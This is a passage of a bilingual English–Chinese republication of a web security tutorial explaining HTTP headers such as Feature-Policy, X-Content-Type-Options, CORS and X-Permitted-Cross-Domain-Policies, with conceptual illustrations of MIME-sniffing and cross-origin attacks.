push *: the current page and any iframe can use the push notification API
push * ：當(dāng)前頁(yè)面和任何iframe均可使用推送通知API
camera 'none': access to the camera API is denied to the current page and any nested context (iframes)
camera 'none' ：當(dāng)前頁(yè)面和任何嵌套上下文(iframe)均拒絕訪問(wèn)camera API

The feature policy might have a short history, but it doesn’t hurt to get a head start. If your website allows users to, for example, take a selfie or record audio, it would be quite beneficial to use a policy that restricts other contexts from accessing the API through your page.

功能策略的歷史可能很短，但是搶先一步并沒(méi)有什么壞處。例如，如果您的網(wǎng)站允許用戶(hù)拍攝自拍照或錄制音頻，則使用限制其他上下文通過(guò)您的頁(yè)面訪問(wèn)API的策略將非常有益。

X內(nèi)容類(lèi)型選項(xiàng) (X-Content-Type-Options)

Sometimes, clever browser features end up hurting us from a security standpoint. A clear example is MIME-sniffing, a technique popularized by Internet Explorer.

有時(shí)，從安全角度來(lái)看，聰明的瀏覽器功能最終會(huì)傷害我們。一個(gè)明顯的例子是MIME嗅探，它是Internet Explorer流行的一種技術(shù)。

MIME-sniffing is the ability, for a browser, to auto-detect (and fix) the content type of a resource it is downloading. For example, we ask the browser to render an image at /awesome-picture.png, but the server sets the wrong type when serving it to the browser (for example, Content-Type: text/plain). This would generally result in the browser not being able to display the image properly.

對(duì)于瀏覽器來(lái)說(shuō)，MIME嗅探功能可以自動(dòng)檢測(cè)(并修復(fù))正在下載的資源的內(nèi)容類(lèi)型。例如，我們要求瀏覽器在/awesome-picture.png處渲染圖像，但是服務(wù)器在將圖像提供給瀏覽器時(shí)設(shè)置了錯(cuò)誤的類(lèi)型(例如， Content-Type: text/plain )。這通常會(huì)導(dǎo)致瀏覽器無(wú)法正確顯示圖像。

In order to fix the issue, IE went to great lengths to implement a MIME-sniffing capability: when downloading a resource, the browser would “scan” it and, if it would detect that the resource’s content type is not the one advertised by the server in the Content-Type header, it would ignore the type sent by the server and interpret the resource according to the type detected by the browser.

為了解決此問(wèn)題，IE竭盡全力實(shí)現(xiàn)MIME嗅探功能：下載資源時(shí)，瀏覽器會(huì)“掃描”它，并且如果它檢測(cè)到資源的內(nèi)容類(lèi)型不是該資源所宣傳的內(nèi)容類(lèi)型。服務(wù)器在Content-Type標(biāo)頭中，它將忽略服務(wù)器發(fā)送的類(lèi)型，并根據(jù)瀏覽器檢測(cè)到的類(lèi)型解釋資源。

Now, imagine hosting a website that allows users to upload their own images, and imagine a user uploading a /test.jpg file that contains JavaScript code. See where this is going? Once the file is uploaded, the site would include it in its own HTML and, when the browser would try to render the document, it would find the “image” the user just uploaded. As the browser downloads the image, it would detect that it’s a script instead, and execute it on the victim’s browser.

現(xiàn)在，假設(shè)托管一個(gè)允許用戶(hù)上傳自己的圖像的網(wǎng)站，并想象一個(gè)用戶(hù)上傳包含JavaScript代碼的/test.jpg文件。看到這是怎么回事？文件上傳后，網(wǎng)站將在其自己HTML中包含該文件，當(dāng)瀏覽器嘗試呈現(xiàn)文檔時(shí)，它將找到用戶(hù)剛剛上傳的“圖像”。當(dāng)瀏覽器下載圖像時(shí)，它將檢測(cè)到它是一個(gè)腳本，然后在受害者的瀏覽器中執(zhí)行它。

To avoid this issue, we can set the X-Content-Type-Options: nosniff header that completely disables MIME-sniffing: by doing so, we are telling the browser that we’re fully aware that some file might have a mismatch in terms of type and content, and the browser should not worry about it. We know what we’re doing, so the browser shouldn’t try to guess things, potentially posing a security threat to our users.

為避免此問(wèn)題，我們可以設(shè)置X-Content-Type-Options: nosniff標(biāo)頭以完全禁用MIME嗅探：通過(guò)這樣做，我們告訴瀏覽器我們已經(jīng)完全意識(shí)到某些文件的術(shù)語(yǔ)可能不匹配類(lèi)型和內(nèi)容，瀏覽器不必?fù)?dān)心。我們知道我們?cè)谧鍪裁?#xff0c;因此瀏覽器不應(yīng)嘗試猜測(cè)，可能會(huì)對(duì)我們的用戶(hù)構(gòu)成安全威脅。

On the browser, through JavaScript, HTTP requests can only be triggered across the same origin. Simply put, an AJAX request from example.com can only connect to example.com.

在瀏覽器上，通過(guò)JavaScript，HTTP請(qǐng)求只能跨相同的源觸發(fā)。簡(jiǎn)而言之，來(lái)自example.com的AJAX請(qǐng)求只能連接到example.com 。

This is because your browser contains useful information for an attacker - cookies, which are generally used to keep track of the user’s session. Imagine if an attacker would set up a malicious page at win-a-hummer.com that immediately triggers an AJAX request to your-bank.com. If you’re logged in on the bank’s website, the attacker would then be able to execute HTTP requests with your credentials, potentially stealing information or, worse, wiping your bank account out.

這是因?yàn)槟臑g覽器包含對(duì)攻擊者有用的信息-Cookies，通常用于跟蹤用戶(hù)會(huì)話。想象一下，如果攻擊者在win-a-hummer.com上設(shè)置了惡意頁(yè)面，該頁(yè)面立即觸發(fā)對(duì)your-bank.com的AJAX請(qǐng)求。如果您登錄到銀行的網(wǎng)站，則攻擊者將能夠使用您的憑據(jù)執(zhí)行HTTP請(qǐng)求，從而可能竊取信息，或者更糟的是清除您的銀行帳戶(hù)。

There might be some cases, though, that require you to execute cross-origin AJAX requests, and that is the reason browsers implement Cross Origin Resource Sharing (CORS), a set of directives that allow you to execute cross-domain requests.

但是，在某些情況下，可能需要執(zhí)行跨域AJAX請(qǐng)求，這就是瀏覽器實(shí)現(xiàn)跨源資源共享(CORS)的原因，CORS是允許您執(zhí)行跨域請(qǐng)求的一組指令。

The mechanics behind CORS is quite complex, and it won’t be practical for us to go over the whole specification, so I am going to focus on a “stripped down” version of CORS.

CORS背后的機(jī)制非常復(fù)雜，對(duì)我們而言，要遍歷整個(gè)規(guī)范并不切合實(shí)際，因此，我將重點(diǎn)介紹CORS的“精簡(jiǎn)版”版本。

All you need to know, for now, is that by using the Access-Control-Allow-Origin header, your application tells the browser that it’s ok to receive requests from other origins.

現(xiàn)在，您只需要知道通過(guò)使用Access-Control-Allow-Origin標(biāo)頭，您的應(yīng)用程序就會(huì)告訴瀏覽器可以接收來(lái)自其他來(lái)源的請(qǐng)求。

The most relaxed form of this header is Access-Control-Allow-Origin: *, which allows any origin to access our application, but we can restrict it by simply adding the URL we want to whitelist with Access-Control-Allow-Origin: https://example.com.

此標(biāo)頭最寬松的形式是Access-Control-Allow-Origin: * ，它允許任何來(lái)源訪問(wèn)我們的應(yīng)用程序，但是我們可以通過(guò)簡(jiǎn)單地添加我們要使用Access-Control-Allow-Origin: https://example.com列入白名單的URL來(lái)限制它Access-Control-Allow-Origin: https://example.com 。

If we take a look at the example at github.com/odino/wasec/tree/master/cors we can clearly see how the browser prevents access to a resource on a separate origin. I have set up the example to make an AJAX request from test-cors to test-cors-2, and print the result of the operation to the browser. When the server behind test-cors-2 is instructed to use CORS, the page works as you would expect. Try navigating to http://cors-test:7888/?cors=on

如果我們看一下github.com/odino/wasec/tree/master/cors上的示例，我們可以清楚地看到瀏覽器如何阻止訪問(wèn)單獨(dú)來(lái)源的資源。我已經(jīng)設(shè)置了示例，以從test-cors向test-cors-2發(fā)出AJAX請(qǐng)求，并將操作結(jié)果打印到瀏覽器。當(dāng)指示test-cors-2后面的服務(wù)器使用CORS時(shí)，頁(yè)面將按預(yù)期工作。嘗試瀏覽至http://cors-test:7888/?cors=on

But when we remove the cors parameter from the URL, the browser intervenes and prevents us from accessing the content of the response:

但是，當(dāng)我們從URL中刪除cors參數(shù)時(shí)，瀏覽器會(huì)干預(yù)并阻止我們?cè)L問(wèn)響應(yīng)的內(nèi)容：

An important aspect we need to understand is that the browser executed the request, but prevented the client from accessing it. This is extremely important, as it still leaves us vulnerable if our request would have triggered any side effect on the server. Imagine, for example, if our bank would allow the transfer of money by simply calling the url my-bank.com/transfer?amount=1000&from=me&to=attacker. That would be a disaster!

我們需要了解的一個(gè)重要方面是瀏覽器執(zhí)行了請(qǐng)求，但阻止了客戶(hù)端訪問(wèn)它。這非常重要，因?yàn)槿绻覀兊恼?qǐng)求會(huì)觸發(fā)服務(wù)器的任何副作用，它仍然使我們?nèi)菀资艿焦簟?例如，想象一下，如果我們的銀行允許通過(guò)簡(jiǎn)單地調(diào)用URL my-bank.com/transfer?amount=1000&from=me&to=attacker來(lái)允許轉(zhuǎn)帳。那將是一場(chǎng)災(zāi)難！

As we’ve seen at the beginning of this article, GET requests are supposed to be idempotent, but what would happen if we tried triggering a POST request? Luckily, I’ve included this scenario in the example, so we can try it by navigating to http://cors-test:7888/?method=POST:

正如我們?cè)诒疚拈_(kāi)頭所看到的， GET請(qǐng)求應(yīng)該是冪等的，但是如果我們嘗試觸發(fā)POST請(qǐng)求會(huì)發(fā)生什么呢？幸運(yùn)的是，我在示例中包含了這種情況，因此我們可以通過(guò)導(dǎo)航到http://cors-test:7888/?method=POST來(lái)進(jìn)行嘗試：

Instead of directly executing our POST request, which could potentially cause some serious trouble on the server, the browser sent a “preflight” request. This is nothing but an OPTIONS request to the server, asking it to validate whether our origin is allowed. In this case, the server did not respond positively, so the browser stops the process, and our POST request never reaches the target.

瀏覽器發(fā)送了一個(gè)“預(yù)檢”請(qǐng)求，而不是直接執(zhí)行我們的POST請(qǐng)求(這可能會(huì)導(dǎo)致服務(wù)器出現(xiàn)嚴(yán)重問(wèn)題)。這不過(guò)是對(duì)服務(wù)器的OPTIONS請(qǐng)求，它要求服務(wù)器驗(yàn)證是否允許我們的來(lái)源。在這種情況下，服務(wù)器沒(méi)有做出積極響應(yīng)，因此瀏覽器停止了該過(guò)程，并且我們的POST請(qǐng)求從未到達(dá)目標(biāo)。

This tells us a couple things:

這告訴我們幾件事：

CORS is not a simple specification. There are quite a few scenarios to keep in mind and you can easily get tangled in the nuances of features such as preflight requests.
CORS不是一個(gè)簡(jiǎn)單的規(guī)范。有很多情況需要牢記，并且您可以輕松地了解預(yù)檢請(qǐng)求等功能的細(xì)微差別。
Never expose APIs that change state via GET. An attacker can trigger those requests without a preflight request, meaning there’s no protection at all
切勿公開(kāi)通過(guò)GET更改狀態(tài)的API。攻擊者可以在沒(méi)有預(yù)檢請(qǐng)求的情況下觸發(fā)這些請(qǐng)求，這意味著根本沒(méi)有保護(hù)措施

Out of experience, I found myself more comfortable with setting up proxies that can forward the request to the right server, all on the backend, rather than using CORS. This means that your application running at example.com can setup a proxy at example.com/_proxy/other.com, so that all requests falling under _proxy/other.com/* get proxied to other.com.

根據(jù)經(jīng)驗(yàn)，我發(fā)現(xiàn)自己更適合設(shè)置代理，這些代理可以將請(qǐng)求轉(zhuǎn)發(fā)到正確的服務(wù)器(全部在后端)，而不是使用CORS。這意味著，在運(yùn)行你的應(yīng)用程序example.com可以將安裝在代理example.com/_proxy/other.com ，使落入下所有請(qǐng)求_proxy/other.com/*獲得代理到other.com 。

I will conclude my overview of this feature here but, if you’re interested in understanding CORS in depth, MDN has a very lengthy article that brilliantly covers the whole specification at developer.mozilla.org/en-US/docs/Web/HTTP/CORS.

我將在此處結(jié)束對(duì)此功能的概述，但是，如果您有興趣深入了解CORS，則MDN在developer.mozilla.org/en-US/docs/Web/HTTP上有一篇冗長(zhǎng)的文章，精講了整個(gè)規(guī)范。 / CORS 。

X允許跨域策略 (X-Permitted-Cross-Domain-Policies)

Very much related to CORS, the X-Permitted-Cross-Domain-Policies targets cross domain policies for Adobe products (namely Flash and Acrobat).

X-Permitted-Cross-Domain-Policies與CORS非常相關(guān)，其目標(biāo)是Adobe產(chǎn)品(即Flash和Acrobat)的跨域策略。

I won’t go much into the details, as this is a header that targets very specific use cases. Long story short, Adobe products handle cross-domain request through a crossdomain.xml file in the root of the domain the request is targeting, and the X-Permitted-Cross-Domain-Policies defines policies to access this file.

我不會(huì)詳細(xì)介紹，因?yàn)檫@是針對(duì)特定用例的標(biāo)頭。簡(jiǎn)而言之，Adobe產(chǎn)品通過(guò)請(qǐng)求所針對(duì)的域的根中的crossdomain.xml文件處理跨域請(qǐng)求，并且X-Permitted-Cross-Domain-Policies定義了訪問(wèn)此文件的策略。

Sounds complicated? I would simply suggest to add an X-Permitted-Cross-Domain-Policies: none and ignore clients wanting to make cross-domain requests with Flash.

聽(tīng)起來(lái)復(fù)雜嗎？我只是建議添加一個(gè)X-Permitted-Cross-Domain-Policies: none ，忽略要使用Flash進(jìn)行跨域請(qǐng)求的客戶(hù)端。

測(cè)試您的安全狀態(tài) (Testing your security posture)

I want to conclude this article with a reference to securityheaders.com, an incredibly useful website that allows you to verify that your web application has the right security-related headers in place. After you submit a URL, you will be handed a grade and a breakdown, header by header. Here’s an example report for facebook.com:

我想在本文結(jié)尾引用securityheaders.com ，這是一個(gè)非常有用的網(wǎng)站，可讓您驗(yàn)證您的Web應(yīng)用程序是否已安裝正確的與安全相關(guān)的標(biāo)題。提交網(wǎng)址后，您將獲得一個(gè)標(biāo)題和一個(gè)細(xì)目，一個(gè)標(biāo)題一個(gè)標(biāo)題。這是facebook.com的示例報(bào)告：

If in doubt on where to start, securityheaders.com is a great place to get a first assessment.

如果對(duì)從哪里開(kāi)始有疑問(wèn)，securityheaders.com是進(jìn)行首次評(píng)估的好地方。

狀態(tài)HTTP：使用Cookie管理會(huì)話 (Stateful HTTP: managing sessions with cookies)

This article should have introduced us to a few interesting HTTP headers, allowing us to understand how they harden our web applications through protocol-specific features, together with a bit of help from mainstream browsers.

本文應(yīng)該向我們介紹了一些有趣的HTTP標(biāo)頭，使我們能夠了解它們?nèi)绾瓮ㄟ^(guò)特定于協(xié)議的功能來(lái)強(qiáng)化我們的Web應(yīng)用程序，以及主流瀏覽器的一些幫助。

In the next post, we will delve deep into one of the most misunderstood features of the HTTP protocol: cookies.

在下一篇文章中，我們將深入研究HTTP協(xié)議最容易被誤解的功能之一：cookie。

Born to bring some sort of state to the otherwise stateless HTTP, cookies have probably been used (and misused) by each and everyone of us in order to support sessions in our web apps: whenever there’s some state we’d like to persist it’s always easy to say “store it in a cookie”. As we will see, cookies are not always the safest of vaults and must be treated carefully when dealing with sensitive information.

Cookie的誕生是為了給原本無(wú)狀態(tài)的HTTP帶來(lái)某種狀態(tài)，因此我們每個(gè)人都可能使用過(guò)Cookie(并濫用了它們)，以支持Web應(yīng)用程序中的會(huì)話：只要有某種狀態(tài)，我們想堅(jiān)持下去，容易說(shuō)“將其存儲(chǔ)在Cookie中”。我們將看到，cookie并非始終是最安全的文件庫(kù)，在處理敏感信息時(shí)必須謹(jǐn)慎對(duì)待。

Originally published at odino.org (23 August 2018).You can follow me on Twitter — rants are welcome! ?

最初發(fā)布于odino.org (2018年8月23日)。您可以在Twitter上關(guān)注我-歡迎咆哮！？

翻譯自: https://www.freecodecamp.org/news/secure-your-web-application-with-these-http-headers-fd66e0367628/

總結(jié)

以上是生活随笔為你收集整理的使用这些HTTP标头保护您的Web应用程序的全部?jī)?nèi)容，希望文章能夠幫你解決所遇到的問(wèn)題。

如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò)，歡迎將生活随笔推薦給好友。

上一篇：梦到牙齿掉了一半是什么意思
下一篇：创建react应用程序_如何使用Reac